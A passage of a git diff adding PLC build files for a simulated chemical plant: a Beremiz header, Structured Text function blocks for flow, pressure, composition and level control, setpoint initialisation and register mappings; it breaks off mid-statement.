+327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := 